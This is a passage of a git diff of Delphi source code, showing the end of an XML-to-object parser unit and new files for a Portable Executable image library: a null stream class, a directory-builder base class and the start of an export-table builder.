TSuperAvlEntry; + begin + method('<' + node.S[xmlname]); + if ObjectIsType(node[xmlattributes], stObject) then + for ent in node[xmlattributes].AsObject do + begin + method(' ' + ent.Name + '="'); + Escape(ent.Value.AsString); + method('"'); + end; + if ObjectIsType(node[xmlchildren], stArray) then + begin + method('>'); + for o in node[xmlchildren] do + if ObjectIsType(o, stString) then + Escape(o.AsString) else + XMLWrite(o, method); + method('</' + node.S[xmlname] + '>'); + end else + method('/>'); + end; +{$ENDIF} + +type + PSuperXMLStack = ^TSuperXMLStack; + TSuperXMLStack = record + state: TSuperXMLState; + savedstate: TSuperXMLState; + prev: PSuperXMLStack; + next: PSuperXMLStack; + clazz: TSuperXMLElementClass; + obj: ISuperObject; + end; + + TSuperXMLParser = class + private + FStack: PSuperXMLStack; + FDocType: ISuperObject; + FError: TSuperXMLError; + FStr: TSuperWriterString; + FValue: TSuperWriterString; + FPosition: Integer; + FAChar: SOChar; + FPack: Boolean; + procedure StackUp; + procedure StackDown; + procedure Reset; + function ParseBuffer(data: PSOChar; var PI, PIParent: ISuperObject; len: Integer = -1): Integer; + public + constructor Create(pack: Boolean); + destructor Destroy; override; + end; + +{ TXMLContext } + +constructor TSuperXMLParser.Create(pack: Boolean); +begin + FDocType := nil; + FStr := TSuperWriterString.Create; + FValue := TSuperWriterString.Create; + StackUp; + FError := xeSuccess; + FPack := pack; +end; + +destructor TSuperXMLParser.Destroy; +begin + while FStack <> nil do + StackDown; + FStr.Free; + FValue.Free; +end; + +procedure TSuperXMLParser.Reset; +begin + while FStack <> nil do + StackDown; + StackUp; + FError := xeSuccess; +end; + +function TSuperXMLParser.ParseBuffer(data: PSOChar; var PI, PIParent: ISuperObject; len: integer): Integer; +const + spaces = [#32,#9,#10,#13]; + alphas = ['a'..'z', 'A'..'Z', '_', ':', #161..#255]; + nums = ['0'..'9', '.', '-']; + hex = nums + ['a'..'f','A'..'F']; + alphanums = alphas + nums; + publitteral = [#32, #13, #10, 'a'..'z', 'A'..'Z', '0'..'9', '-', '''', '"', '(', ')', + '+', ',', '.', '/', ':', '=', '?', ';', '!', '*', '#', '@', '$', '_', '%']; + + function hexdigit(const x: SOChar): byte; + begin + if x <= '9' then + Result := byte(x) - byte('0') else + Result := (byte(x) and 7) + 9; + end; + + procedure putchildrenstr; + var + anobject: ISuperObject; + begin + anobject := FStack^.obj.AsObject[xmlchildren]; + if anobject = nil then + begin + anobject := TSuperObject.Create(stArray); + FStack^.obj.AsObject[xmlchildren] := anobject; + end; + anobject.AsArray.Add(TSuperObject.Create(FValue.Data)); + end; + + procedure AddProperty(const parent, value: ISuperObject; const name: SOString); + var + anobject: ISuperObject; + arr: ISuperObject; + begin + anobject := parent.AsObject[name]; + if anobject = nil then + parent.AsObject[name] := value else + begin + if (anobject.DataType = stArray) then + anobject.AsArray.Add(value) else + begin + arr := TSuperObject.Create(stArray); + arr.AsArray.Add(anobject); + arr.AsArray.Add(value); + parent.AsObject[name] := arr; + end; + end; + end; + + procedure packend; + var + anobject, anobject2: ISuperObject; + n: Integer; + begin + anobject := FStack^.obj.AsObject[xmlchildren]; + if (anobject <> nil) and (anobject.AsArray.Length = 1) and (anobject.AsArray[0].DataType = stString) then + begin + if FStack^.obj.AsObject.count = 2 then // name + children + begin + if FStack^.prev <> nil then + AddProperty(FStack^.prev^.obj, anobject.AsArray[0], FStack^.obj.AsObject.S[xmlname]) else + begin + AddProperty(FStack^.obj, anobject.AsArray[0], xmltext); + FStack^.obj.AsObject.Delete(xmlchildren); + end; + end + else + begin + AddProperty(FStack^.obj, anobject.AsArray[0], FStack^.obj.AsObject.S[xmlname]); + FStack^.obj.AsObject.Delete(xmlchildren); + if FStack^.prev <> nil then + AddProperty(FStack^.prev^.obj, FStack^.obj, FStack^.obj.AsObject.S[xmlname]) else + FStack^.obj.AsObject.Delete(xmlchildren); + FStack^.obj.AsObject.Delete(xmlname); + end; + end else + begin + if (anobject <> nil) then + begin + for n := 0 to anobject.AsArray.Length - 1 do + begin + anobject2 := anobject.AsArray[n]; + if ObjectIsType(anobject2, stObject) then + begin + AddProperty(FStack^.obj, anobject2, anobject2.AsObject.S[xmlname]); + anobject2.AsObject.Delete(xmlname); + end else + AddProperty(FStack^.obj, anobject2, xmltext); + end; + FStack^.obj.Delete(xmlchildren); + end; + if (FStack^.prev <> nil) and (FStack^.obj.AsObject.count > 1) then + begin + if (FStack^.obj.AsObject.count = 2) and (FStack^.obj.AsObject[xmltext] <> nil) then + AddProperty(FStack^.prev^.obj, FStack^.obj.AsObject[xmltext], FStack^.obj.AsObject.S[xmlname]) else + AddProperty(FStack^.prev^.obj, FStack^.obj, FStack^.obj.AsObject.S[xmlname]); + end; + FStack^.obj.Delete(xmlname); + end; + end; + +var + c: SOChar; + read: Integer; + p: PSOChar; + anobject: ISuperObject; +label + redo, err; +begin + p := data; + read := 0; + //Result := 0; + repeat + + if (read = len) then + begin + if (FStack^.prev = nil) and ((FStack^.state = xsEnd) or ((FStack^.state = xsEatSpaces) and (FStack^.savedstate = xsEnd))) then + begin + if FPack then + packend; + FError := xeSuccess; + end else + FError := xeContinue; + Result := read; + exit; + end; + c := p^; + redo: + case FStack^.state of + + xsEatSpaces: + if {$IFDEF UNICODE}(c < #256) and {$ENDIF} (AnsiChar(c) in spaces) then {nop} else + begin + FStack^.state := FStack^.savedstate; + goto redo; + end; + + xsStart: + case c of + '<': FStack^.state := xsElement; + else + goto err; + end; + xsElement: + begin + case c of + '?': + begin + FStack^.savedstate := xsStart; + FStack^.state := xsEatSpaces; + StackUp; + FStr.Reset; + FStack^.state := xsElementPI; + FStack^.clazz := xcProcessInst; + end; + '!': + begin + FPosition := 0; + FStack^.state := xsElementComment; + FStack^.clazz := xcComment; + end; + else + if ((c < #256) and (AnsiChar(c) in alphas)) or (c >= #256) then + begin + FStr.Reset; + FStack^.state := xsElementName; + FStack^.clazz := xcElement; + goto redo; + end else + goto err; + end; + end; + xsElementPI: + begin + if ((c < #256) and (AnsiChar(c) in alphanums)) or (c >= #256) then + FStr.Append(@c, 1) else + begin + FStack^.obj := TSuperObject.Create(stObject); + FStack^.obj.AsObject.S[xmlname] := FStr.Data; + FStack^.state := xsEatSpaces; + if FStr.Data = 'xml' then + FStack^.savedstate := xsAttributes else + begin + FValue.Reset; + FStack^.savedstate := xsElementDataPI; + end; + goto redo; + end; + end; + xsElementDataPI: + begin + case c of + '?': + begin + FStack^.obj.AsObject.S['data'] := FValue.Data; + FStack^.state := xsCloseElementPI; + end; + else + FValue.Append(@c, 1); + end; + end; + xsCloseElementPI: + begin + if (c <> '>') then goto err; + PI := FStack^.obj; + StackDown; + PIParent := FStack^.obj; + FError := xeProcessInst; + Result := read + 1; + Exit; + end; + xsElementName: + begin + if ((c < #256) and (AnsiChar(c) in alphanums)) or (c >= #256) then + FStr.Append(@c, 1) else + begin + FStack^.obj := TSuperObject.Create(stObject); + FStack^.obj.AsObject.S[xmlname] := FStr.Data; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsAttributes; + goto redo; + end; + end; + xsChildren: + begin + case c of + '<': FStack^.state := xsTryCloseElement; + else + FValue.Reset; + FStack^.state := xsElementString; + FStack^.clazz := xcString; + goto redo; + end; + end; + xsCloseEmptyElement: + begin + case c of + '>': + begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsEnd; + end + else + goto err; + end; + end; + xsTryCloseElement: + begin + case c of + '/': begin + FStack^.state := xsCloseElementName; + FPosition := 0; + FStr.Reset; + FStr.Append(PSoChar(FStack^.obj.AsObject.S[xmlname])); + end; + '!': begin + FPosition := 0; + FStack^.state := xsElementComment; + FStack^.clazz := xcComment; + end; + '?': begin + FStack^.savedstate := xsChildren; + FStack^.state := xsEatSpaces; + StackUp; + FStr.Reset; + FStack^.state := xsElementPI; + FStack^.clazz := xcProcessInst; + end + else + FStack^.state := xsChildren; + StackUp; + if ((c < #256) and (AnsiChar(c) in alphas)) or (c >= #256) then + begin + FStr.Reset; + FStack^.state := xsElementName; + FStack^.clazz := xcElement; + goto redo; + end else + goto err; + end; + end; + xsCloseElementName: + begin + if FStr.Position = FPosition then + begin + FStack^.savedstate := xsCloseEmptyElement; + FStack^.state := xsEatSpaces; + goto redo; + end else + begin + if (c <> FStr.Data[FPosition]) then goto err; + inc(FPosition); + end; + end; + xsAttributes: + begin + case c of + '?': begin + if FStack^.clazz <> xcProcessInst then goto err; + FStack^.state := xsCloseElementPI; + end; + '/': begin + FStack^.state := xsCloseEmptyElement; + end; + '>': begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsChildren; + end + else + if ((c < #256) and (AnsiChar(c) in alphas)) or (c >= #256) then + begin + FStr.Reset; + FStr.Append(@c, 1); + FStack^.state := xsAttributeName; + end else + goto err; + end; + end; + xsAttributeName: + begin + if ((c < #256) and (AnsiChar(c) in alphanums)) or (c >= #256) then + FStr.Append(@c, 1) else + begin + // no duplicate attribute + if FPack then + begin + if FStack^.obj.AsObject[FStr.Data] <> nil then + goto err; + end else + begin + anobject := FStack^.obj.AsObject[xmlattributes]; + if (anobject <> nil) and (anobject.AsObject[FStr.Data] <> nil) then + goto err; + end; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsEqual; + goto redo; + end; + end; + xsEqual: + begin + if c <> '=' then goto err; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsAttributeValue; + FValue.Reset; + FPosition := 0; + FAChar := #0; + end; + xsAttributeValue: + begin + if FAChar <> #0 then + begin + if (c = FAChar) then + begin + if FPack then + begin + FStack^.obj.AsObject[FStr.Data] := TSuperObject.Create(Fvalue.Data); + end else + begin + anobject := FStack^.obj.AsObject[xmlattributes]; + if anobject = nil then + begin + anobject := TSuperObject.Create(stObject); + FStack^.obj.AsObject[xmlattributes] := anobject; + end; + anobject.AsObject[FStr.Data] := TSuperObject.Create(Fvalue.Data); + end; + FStack^.savedstate := xsAttributes; + FStack^.state := xsEatSpaces; + end else + case c of + '&': + begin + FStack^.state := xsEscape; + FStack^.savedstate := xsAttributeValue; + end; + #13, #10: + begin + FValue.TrimRight; + FValue.Append(XML_SPACE, 1); + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsAttributeValue; + end; + else + FValue.Append(@c, 1); + end; + + end else + begin + if (c < #256) and (AnsiChar(c) in ['"', '''']) then + begin + FAChar := c; + inc(FPosition); + + end else + goto err; + end; + end; + xsElementString: + begin + case c of + '<': begin + FValue.TrimRight; + putchildrenstr; + FStack^.state := xsTryCloseElement; + end; + #13, #10: + begin + FValue.TrimRight; + FValue.Append(XML_SPACE, 1); + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementString; + end; + '&': + begin + FStack^.state := xsEscape; + FStack^.savedstate := xsElementString; + end + else + FValue.Append(@c, 1); + end; + end; + xsElementComment: + begin + case FPosition of + 0: + begin + case c of + '-': Inc(FPosition); + '[': + begin + FValue.Reset; + FPosition := 0; + FStack^.state := xsElementCDATA; + FStack^.clazz := xcCdata; + end; + 'D': + begin + if (FStack^.prev = nil) and (FDocType = nil) then + begin + FStack^.state := xsElementDocType; + FPosition := 0; + FStack^.clazz := xcDocType; + end else + goto err; + end; + else + goto err; + end; + end; + 1: + begin + if c <> '-' then goto err; + Inc(FPosition); + end; + else + if c = '-' then + begin + FPosition := 0; + FStack^.state := xsCloseElementComment; + end; + end; + end; + xsCloseElementComment: + begin + case FPosition of + 0: begin + if c <> '-' then + begin + FPosition := 2; + FStack^.state := xsElementComment; + end else + Inc(FPosition); + end; + 1: begin + if c <> '>' then goto err; + FStack^.state := xsEatSpaces; + if FStack^.obj <> nil then + FStack^.savedstate := xsChildren else + FStack^.savedstate := xsStart; + end; + end; + end; + xsElementCDATA: + begin + case FPosition of + 0: if (c = 'C') then inc(FPosition) else goto err; + 1: if (c = 'D') then inc(FPosition) else goto err; + 2: if (c = 'A') then inc(FPosition) else goto err; + 3: if (c = 'T') then inc(FPosition) else goto err; + 4: if (c = 'A') then inc(FPosition) else goto err; + 5: if (c = '[') then inc(FPosition) else goto err; + else + case c of + ']': begin + FPosition := 0; + FStack^.state := xsClodeElementCDATA; + end; + else + FValue.Append(@c, 1); + end; + end; + end; + xsClodeElementCDATA: + begin + case FPosition of + 0: if (c = ']') then + inc(FPosition) else + begin + FValue.Append(XML_ARR, 1); + FValue.Append(@c, 1); + FPosition := 6; + FStack^.state := xsElementCDATA; + end; + 1: case c of + '>': + begin + putchildrenstr; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsChildren; + end; + ']': + begin + FValue.Append(@c, 1); + end; + else + FValue.Append(@c, 1); + FStack^.state := xsElementCDATA; + end; + end; + end; + xsElementDocType: + begin + case FPosition of + 0: if (c = 'O') then inc(FPosition) else goto err; + 1: if (c = 'C') then inc(FPosition) else goto err; + 2: if (c = 'T') then inc(FPosition) else goto err; + 3: if (c = 'Y') then inc(FPosition) else goto err; + 4: if (c = 'P') then inc(FPosition) else goto err; + 5: if (c = 'E') then inc(FPosition) else goto err; + else + if (c < #256) and (AnsiChar(c) in spaces) then + begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementDocTypeName; + FStr.Reset; + end else + goto err; + end; + end; + xsElementDocTypeName: + begin + case FStr.Position of + 0: begin + case c of + '>': + begin + FStack^.state := xsEatSpaces; + FStack^.state := xsStart; + FStack^.clazz := xcNone; + end + else + if ((c < #256) and (AnsiChar(c) in alphas)) or (c > #256) then + FStr.Append(@c, 1) else + goto err; + end; + end; + else + if ((c < #256) and (AnsiChar(c) in alphanums)) or (c > #256) then + FStr.Append(@c, 1) else + if (c < #256) and (AnsiChar(c) in spaces) then + begin + FDocType := TSuperObject.Create(stObject); + FDocType.AsObject.S[xmlname] := FStr.Data; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementDocTypeExternId; + end else + goto err; + end; + end; + xsElementDocTypeExternId: + begin + case c of + 'P': + begin + FPosition := 0; + FStack^.state := xsElementDocTypeExternIdPublic; + end; + 'S': + begin + FPosition := 0; + FStack^.state := xsElementDocTypeExternIdSystem; + end; + '[': + begin + FStack^.savedstate := xsElementDocTypeIntSubset; + FStack^.state := xsEatSpaces; + end; + '>': + begin + FStack^.savedstate := xsStart; + FStack^.state := xsEatSpaces + end + else + goto err; + end; + end; + xsElementDocTypeExternIdPublic: + begin + case FPosition of + 0: if (c = 'U') then inc(FPosition) else goto err; + 1: if (c = 'B') then inc(FPosition) else goto err; + 2: if (c = 'L') then inc(FPosition) else goto err; + 3: if (c = 'I') then inc(FPosition) else goto err; + 4: if (c = 'C') then inc(FPosition) else goto err; + else + if (c < #256) and (AnsiChar(c) in spaces) then + begin + FStr.Reset; + FPosition := 0; + FStack^.savedstate := xsElementDocTypePubIdLiteral; + FStack^.state := xsEatSpaces; + end else + goto err; + end; + end; + + xsElementDocTypeExternIdSystem: + begin + case FPosition of + 0: if (c = 'Y') then inc(FPosition) else goto err; + 1: if (c = 'S') then inc(FPosition) else goto err; + 2: if (c = 'T') then inc(FPosition) else goto err; + 3: if (c = 'E') then inc(FPosition) else goto err; + 4: if (c = 'M') then inc(FPosition) else goto err; + else + if (c < #256) and (AnsiChar(c) in spaces) then + begin + FStr.Reset; + FPosition := 0; + FStack^.savedstate := xsElementDocTypeSystemLiteral; + FStack^.state := xsEatSpaces; + end else + goto err; + end; + end; + xsElementDocTypePubIdLiteral: + begin + if FPosition = 0 then + case c of + '"', '''': + begin + FAChar := c; + FPosition := 1; + end + else + goto err; + end else + if c = FAChar then + begin + FDocType.AsObject.S[dtdPubidLiteral] := FStr.Data; + FStr.Reset; + FPosition := 0; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementDocTypeSystemLiteral; + end else + if (c < #256) and (AnsiChar(c) in publitteral) then + FStr.Append(@c, 1); + end; + xsElementDocTypeSystemLiteral: + begin + if FPosition = 0 then + case c of + '"', '''': + begin + FAChar := c; + FPosition := 1; + end + else + goto err; + end else + if c = FAChar then + begin + FDocType.AsObject.S[dtdSystemLiteral] := FStr.Data; + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementDocTypeTryIntSubset; + end else + FStr.Append(@c, 1); + end; + + xsElementDocTypeTryIntSubset: + begin + case c of + '>': + begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsStart; + FStack^.clazz := xcNone; + end; + '[': + begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementDocTypeIntSubset; + end; + end; + end; + xsElementDocTypeIntSubset: + begin + case c of + ']': + begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsElementDocTypeTryClose; + end; + end; + end; + xsElementDocTypeTryClose: + begin + if c = '>' then + begin + FStack^.state := xsEatSpaces; + FStack^.savedstate := xsStart; + FStack^.clazz := xcNone; + end else + goto err; + end; + xsEscape: + begin + FPosition := 0; + case c of + 'l': FStack^.state := xsEscape_lt; + 'g': FStack^.state := xsEscape_gt; + 'a': FStack^.state := xsEscape_amp; + 'q': FStack^.state := xsEscape_quot; + '#': FStack^.state := xsEscape_char; + else + goto err; + end; + end; + xsEscape_lt: + begin + case FPosition of + 0: begin + if c <> 't' then goto err; + Inc(FPosition); + end; + 1: begin + if c <> ';' then goto err; + FValue.Append(XML_LOW, 1); + FStack^.state := FStack^.savedstate; + end; + end; + end; + xsEscape_gt: + begin + case FPosition of + 0: begin + if c <> 't' then goto err; + Inc(FPosition); + end; + 1: begin + if c <> ';' then goto err; + FValue.Append(XML_BIG, 1); + FStack^.state := FStack^.savedstate; + end; + end; + end; + xsEscape_amp: + begin + case FPosition of + 0: begin + case c of + 'm': Inc(FPosition); + 'p': begin + FStack^.state := xsEscape_apos; + Inc(FPosition); + end; + else + goto err; + end; + end; + 1: begin + if c <> 'p' then goto err; + Inc(FPosition); + end; + 2: begin + if c <> ';' then goto err; + FValue.Append(XML_AMP, 1); + FStack^.state := FStack^.savedstate; + end; + end; + end; + xsEscape_apos: + begin + case FPosition of + 0: begin + case c of + 'p': Inc(FPosition); + 'm': begin + FStack^.state := xsEscape_amp; + Inc(FPosition); + end; + else + goto err; + end; + end; + 1: begin + if c <> 'o' then goto err; + Inc(FPosition); + end; + 2: begin + if c <> 's' then goto err; + Inc(FPosition); + end; + 3: begin + if c <> ';' then goto err; + FValue.Append(XML_SQU, 1); + FStack^.state := FStack^.savedstate; + end; + end; + end; + xsEscape_quot: + begin + case FPosition of + 0: begin + if c <> 'u' then goto err; + Inc(FPosition); + end; + 1: begin + if c <> 'o' then goto err; + Inc(FPosition); + end; + 2: begin + if c <> 't' then goto err; + Inc(FPosition); + end; + 3: begin + if c <> ';' then goto err; + FValue.Append(XML_DQU, 1); + FStack^.state := FStack^.savedstate; + end; + end; + end; + xsEscape_char: + begin + if (SOIChar(c) >= 256) then goto err; + case AnsiChar(c) of + '0'..'9': + begin + FPosition := SOIChar(c) - 48; + FStack^.state := xsEscape_char_num; + end; + 'x': + begin + FStack^.state := xsEscape_char_hex; + end + else + goto err; + end; + end; + xsEscape_char_num: + begin + if (SOIChar(c) >= 256) then goto err; + case AnsiChar(c) of + '0'..'9':FPosition := (FPosition * 10) + (SOIChar(c) - 48); + ';': begin + FValue.Append(@FPosition, 1); + FStack^.state := FStack^.savedstate; + end; + else + goto err; + end; + end; + xsEscape_char_hex: + begin + if (c >= #256) then goto err; + if (AnsiChar(c) in hex) then + begin + FPosition := (FPosition * 16) + SOIChar(hexdigit(c)); + end else + if c = ';' then + begin + FValue.Append(@FPosition, 1); + FStack^.state := FStack^.savedstate; + end else + goto err; + end; + xsEnd: + begin + if(FStack^.prev = nil) then Break; + if FStack^.obj <> nil then + begin + if FPack then + packend else + begin + anobject := FStack^.prev^.obj.AsObject[xmlchildren]; + if anobject = nil then + begin + anobject := TSuperObject.Create(stArray); + FStack^.prev^.obj.AsObject[xmlchildren] := anobject; + end; + anobject.AsArray.Add(FStack^.obj); + end; + end; + StackDown; + goto redo; + end; + end; + inc(p); + inc(read); + until (c = #0); + + if FStack^.state = xsEnd then + begin + if FPack then + packend; + FError := xeSuccess; + end else + FError := xeError; + Result := read; + exit; +err: + FError := xeError; + Result := read; +end; + +function XMLParseFile(const FileName: string; pack: Boolean; onpi: TOnProcessingInstruction): ISuperObject; +var + stream: TFileStream; +begin + stream := TFileStream.Create(FileName, fmOpenRead, fmShareDenyWrite); + try + Result := XMLParseStream(stream, pack, onpi); + finally + stream.Free; + end; +end; + +procedure TSuperXMLParser.StackDown; +var + prev: PSuperXMLStack; +begin + if FStack <> nil then + begin + prev := FStack^.prev; + FStack^.obj := nil; + FreeMem(FStack); + FStack := prev; + if FStack <> nil then + FStack^.next := nil; + end; +end; + +procedure TSuperXMLParser.StackUp; +var + st: PSuperXMLStack; +begin +{$IFDEF FPC} + st := nil; +{$ENDIF} + GetMem(st, SizeOf(st^)); + FillChar(st^, SizeOf(st^), 0); + st^.state := xsEatSpaces; + st^.savedstate := xsStart; + st^.prev := FStack; + if st^.prev <> nil then + st^.prev^.next := st; + st^.next := nil; + st^.obj := nil; + FStack := st; +end; + +function utf8toucs2(src: PAnsiChar; srclen: Integer; dst: PWideChar; unused: PInteger): Integer; +var + ch: Byte; + ret: Word; + min: Cardinal; + rem, com: integer; +label + redo; +begin + Result := 0; + ret := 0; + rem := 0; + min := 0; + + if unused <> nil then + unused^ := 0; + + if(src = nil) or (srclen = 0) then + begin + dst^ := #0; + Exit; + end; + + while srclen > 0 do + begin + ch := Byte(src^); + inc(src); + dec(srclen); + +redo: + if (ch and $80) = 0 then + begin + dst^ := WideChar(ch); + inc(Result); + end else + begin + if((ch and $E0) = $C0) then + begin + min := $80; + rem := 1; + ret := ch and $1F; + end else + if((ch and $F0) = $E0) then + begin + min := $800; + rem := 2; + ret := ch and $0F; + end else + // too large utf8 bloc + // ignore and continue + continue; + + com := rem; + while(rem <> 0) do + begin + dec(rem); + if(srclen = 0) then + begin + if unused <> nil then + unused^ := com; + Exit; + end; + ch := Byte(src^); + inc(src); + dec(srclen); + if((ch and $C0) = $80) then + begin + ret := ret shl 6; + ret := ret or (ch and $3F); + end else + begin + // unterminated utf8 bloc :/ + // try next one + goto redo; + end; + end; + + if (ret >= min) then + begin + dst^ := WideChar(ret); + inc(Result); + end else + // too small utf8 bloc + // ignore and continue + Continue; + end; + inc(dst); + end; +end; + +function XMLParseStream(stream: TStream; pack: Boolean; onpi: TOnProcessingInstruction): ISuperObject; +const + CP_UTF8 = 65001; +var + wbuffer: array[0..1023] of SOChar; + abuffer: array[0..1023] of AnsiChar; + len, read, cursor: Integer; + PI, PIParent: ISuperObject; + bom: array[0..2] of byte; + + encoding: TSuperXMLEncoding; + encodingstr: string; + cp: Integer; + ecp: ISuperObject; + + function getbuffer: Integer; + var + size, unusued: Integer; + begin + + case encoding of +{$IFNDEF UNIX} + xnANSI: + begin + size := stream.Read(abuffer, sizeof(abuffer)); + result := MultiByteToWideChar(cp, 0, @abuffer, size, @wbuffer, sizeof(wbuffer)); + end; +{$ENDIF} + xnUTF8: + begin + size := stream.Read(abuffer, sizeof(abuffer)); + result := utf8toucs2(@abuffer, size, @wbuffer, @unusued); + if unusued > 0 then + stream.Seek(-unusued, soFromCurrent); + end; + xnUnicode: Result := stream.Read(wbuffer, sizeof(wbuffer)) div sizeof(SOChar); + else + Result := 0; + end; + end; +label + redo, retry; +begin + // init knowned code pages + ecp := so('{iso-8859-1: 28591,'+ + 'iso-8859-2: 28592,'+ + 'iso-8859-3: 28593,'+ + 'iso-8859-4: 28594,'+ + 'iso-8859-5: 28595,'+ + 'iso-8859-6: 28596,'+ + 'iso-8859-7: 28597,'+ + 'iso-8859-8: 28598,'+ + 'iso-8859-9: 28599,'+ + 'iso 8859-15: 28605,'+ + 'iso-2022-jp: 50220,'+ + 'shift_jis: 932,'+ + 'euc-jp: 20932,'+ + 'ascii: 20127,'+ + 'windows-1251: 1251,'+ + 'windows-1252: 1252}'); + + // detect bom + stream.Seek(0, soFromBeginning); + len := stream.Read(bom, sizeof(bom)); + if (len >= 2) and (bom[0] = $FF) and (bom[1] = $FE) then + begin + encoding := xnUnicode; + stream.Seek(2, soFromBeginning); + end else + if (len = 3) and (bom[0] = $EF) and (bom[1] = $BB) and (bom[2] = $BF) then + begin + encoding := xnUTF8; + cp := CP_UTF8; + end else + begin + encoding := xnUTF8; + cp := 0; + stream.Seek(0, soFromBeginning); + end; + + with TSuperXMLParser.Create(pack) do + try + len := getbuffer; + while len > 0 do + begin +retry: + read := ParseBuffer(@wbuffer, PI, PIParent, len); + cursor := 0; +redo: + case FError of + xeContinue: len := getbuffer; + xeSuccess, xeError: Break; + xeProcessInst: + begin + if (PIParent = nil) and (PI.AsObject.S[xmlname] = 'xml') then + begin + if pack then + encodingstr := LowerCase(trim(PI.S['encoding'])) else + encodingstr := LowerCase(trim(PI.S[xmlattributes + '.encoding'])); + if (encodingstr <> '') then + case encoding of + xnUTF8: if(cp = CP_UTF8) then + begin + if (encodingstr <> 'utf-8') then + begin + FError := xeError; + Break; + end; + end else + begin + cp := ecp.I[encodingstr]; + if cp > 0 then + begin +{$IFNDEF UNIX} + encoding := xnANSI; + Reset; + stream.Seek(0, soFromBeginning); + len := getbuffer; + goto retry; +{$ELSE} + raise Exception.Create('charset not implemented'); +{$ENDIF} + end; + end; + xnUnicode: + if (encodingstr <> 'utf-16') and (encodingstr <> 'unicode') then + begin + FError := xeError; + Break; + end; + end; + end else + if Assigned(onpi) then + onpi(PI, PIParent); + + inc(cursor, read); + if cursor >= len then + begin + len := getbuffer; + continue; + end; + read := ParseBuffer(@wbuffer[cursor], PI, PIParent, len - cursor); + goto redo; + end; + end; + end; + if FError = xeSuccess then + Result := FStack^.obj else + Result := nil; + finally + Free; + end; +end; + +function XMLParseString(const data: SOString; pack: Boolean; onpi: TOnProcessingInstruction): ISuperObject; +var + PI, PIParent: ISuperObject; + cursor, read: Integer; +label + redo; +begin + with TSuperXMLParser.Create(pack) do + try + cursor := 0; + read := ParseBuffer(PSOChar(data), PI, PIParent); +redo: + case FError of + xeSuccess: Result := FStack^.obj; + xeError: Result := nil; + xeProcessInst: + begin + if Assigned(onpi) then + onpi(PI, PIParent); + inc(cursor, read); + read := ParseBuffer(@data[cursor+1], PI, PIParent); + goto redo; + end; + end; + finally + Free; + end; +end; + +end. diff --git a/Core/PE/.gitignore b/Core/PE/.gitignore new file mode 100755 index 0000000..4504c73 --- /dev/null +++ b/Core/PE/.gitignore @@ -0,0 +1,2 @@ +PsAPI.pas +TlHelp32.pas diff --git a/Core/PE/NullStream.pas b/Core/PE/NullStream.pas new file mode 100755 index 0000000..8760a94 --- /dev/null +++ b/Core/PE/NullStream.pas @@ -0,0 +1,64 @@ +unit NullStream; + +interface + +uses + Classes, + SysUtils; + +type + TNullStream = class(TStream) + private + FPosition: int64; + FSize: int64; + protected + procedure SetSize(NewSize: Integer); override; + public + function Seek(const Offset: int64; Origin: TSeekOrigin): int64; override; + function Read(var Buffer; Count: Longint): Longint; override; + function Write(const Buffer; Count: Longint): Longint; override; + end; + +implementation + +{ TNullStream } + +procedure TNullStream.SetSize(NewSize: Integer); +begin + FSize := NewSize; +end; + +function TNullStream.Seek(const Offset: int64; Origin: TSeekOrigin): int64; +begin + case Origin of + soBeginning: + FPosition := Offset; + soCurrent: + Inc(FPosition, Offset); + soEnd: + FPosition := FSize + Offset; + end; + Result := FPosition; +end; + +function TNullStream.Read(var Buffer; Count: Integer): Longint; +begin + raise Exception.Create('Null stream cannot read'); +end; + +function TNullStream.Write(const Buffer; Count: Integer): Longint; +var + pos: int64; +begin + if (FPosition >= 0) and (Count >= 0) then + begin + pos := FPosition + Count; + if pos > FSize then + FSize := pos; + FPosition := pos; + exit(Count); + end; + exit(0); +end; + +end. diff --git a/Core/PE/PE.Build.Common.pas b/Core/PE/PE.Build.Common.pas new file mode 100755 index 0000000..594ff8e --- /dev/null +++ b/Core/PE/PE.Build.Common.pas @@ -0,0 +1,64 @@ +unit PE.Build.Common; + +interface + +uses + Classes, + PE.Common, + PE.Image, + NullStream; + +type + // Parent class for any directory builders. + // Override Build procedure and fill Stream with new dir data. + TDirectoryBuilder = class + protected + FPE: TPEImage; + public + constructor Create(PE: TPEImage); + + // Builds bogus directory and return size. + // Override it if you have better implementation. + function EstimateTheSize: uint32; virtual; + + // Build directory data and store it to stream. + // * DirRVA: RVA of directory start. + // * Stream: Stream to store data. + procedure Build(DirRVA: TRVA; Stream: TStream); virtual; abstract; + + // If new section created, it's called to get the flags. + class function GetDefaultSectionFlags: uint32; virtual; abstract; + + // If new section created, it's called to get the name. + class function GetDefaultSectionName: string; virtual; abstract; + + // Return True if need to call Build each time when DirRVA changed. + class function NeedRebuildingIfRVAChanged: boolean; virtual; abstract; + end; + + TDirectoryBuilderClass = class of TDirectoryBuilder; + +implementation + + +{ TDirBuilder } + +constructor TDirectoryBuilder.Create(PE: TPEImage); +begin + FPE := PE; +end; + +function TDirectoryBuilder.EstimateTheSize: uint32; +var + tmp: TNullStream; +begin + tmp := TNullStream.Create; + try + Build(0, tmp); + Result := tmp.Size; + finally + tmp.Free; + end; +end; + +end. diff --git a/Core/PE/PE.Build.Export.pas b/Core/PE/PE.Build.Export.pas new file mode 100755 index 0000000..f7158ef --- /dev/null +++ b/Core/PE/PE.Build.Export.pas @@ -0,0 +1,220 @@ +{ + Building export table to stream. + This stream can be later saved to section or replace old export table. + + todo: clear old export data +} + +{$WARN COMBINING_SIGNED_UNSIGNED OFF} + +unit PE.Build.Export; + +interface + +uses + Classes, + + PE.Build.Common, + PE.Common, + PE.Utils; + +type + TExportBuilder = class(TDirectoryBuilder) + public + procedure Build(DirRVA: UInt64; Stream: TStream); override; + class function GetDefaultSectionFlags: Cardinal; override; + class function GetDefaultSectionName: string; override; + class function NeedRebuildingIfRVAChanged: Boolean; override; + 